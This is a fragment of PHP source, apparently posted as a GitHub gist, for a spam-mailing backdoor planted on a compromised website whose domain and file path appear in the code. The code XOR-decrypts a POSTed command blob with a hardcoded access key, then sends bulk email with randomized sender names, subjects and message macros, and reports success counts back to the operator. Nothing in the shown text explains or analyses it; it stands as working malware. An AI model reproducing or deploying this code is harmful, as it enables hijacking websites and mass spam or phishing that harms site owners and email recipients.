        $chr1 = $chr2 = $chr3 = "";
        $enc1 = $enc2 = $enc3 = $enc4 = "";
    } while ($i < strlen($input));
    return $output;
}

function decode($data, $key)
{
    $out_data = "";
    for ($i=0; $i<strlen($data);)
    {
        for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++)
        {
            $out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
        }
    }
    return $out_data;
}
function type1_send($config)
{
    $key = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
    $key = "family.kearney.co.uk" . "/familytree/sources/functions64.php";

    $data = b64d($config);
    $data = decode($data, $key);
    $data = unserialize($data);
    if (!$data || !isset($data['ak']))
    {
        return FALSE;
    }
    if ($data['ak'] != "b9962d95-ef57-4c85-a973-dc0c7e268da6")
    {
        exit();
    }
    if (isset($data['c']))
    {
        $res["r"]["c"] = $data['c'];
        return serialize($res);
    }
    $good = 0;
    $bad = 0;
    $last_error = Array(0, 0);
    foreach ($data['e'] as $uid=>$email)
    {
        $theme = $data['s'][array_rand($data['s'])];
        $theme = alter_macros($theme);
        $theme = num_macros($theme);
        $theme = xnum_macros($theme);
        $message = $data['l'];
        $message = alter_macros($message);
        $message = num_macros($message);
        $message = xnum_macros($message);
        $message = fteil_macros($message, $uid);
        $from = $data['f'][array_rand($data['f'])];
        $from = alter_macros($from);
        $from = num_macros($from);
        $from = xnum_macros($from);

        if (strstr($from, "[CUSTOM]") == FALSE)
        {
            $from = from_host($from);
        }
        else
        {
            $from = str_replace("[CUSTOM]", "", $from);
        }

        $from_email = explode("<", $from);
        $from_email = explode(">", $from_email[1]);
        $from_name = explode("\"", $from);
        $last_error = sendSmtpMail($from_email[0], $from_name[1], $email, $theme, $message, $data['lt']);

        if ($last_error[1] === 0)
        {
            $good++;
        }
        else
        {
            $bad++;
            $good = count($data['e']) - $bad;
        }
    }

    $res["r"]["t"] = $last_error[0];
    $res["r"]["e"] = $last_error[1] === FALSE ? 0 : $last_error[1];
    $res["r"]["g"] = $good;
    $res["r"]["b"] = $bad;

    return serialize($res);
}

$config = array_values($_POST);
$res = type1_send($config[0]);
if ($res) {
    echo $res;
}

exit();

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment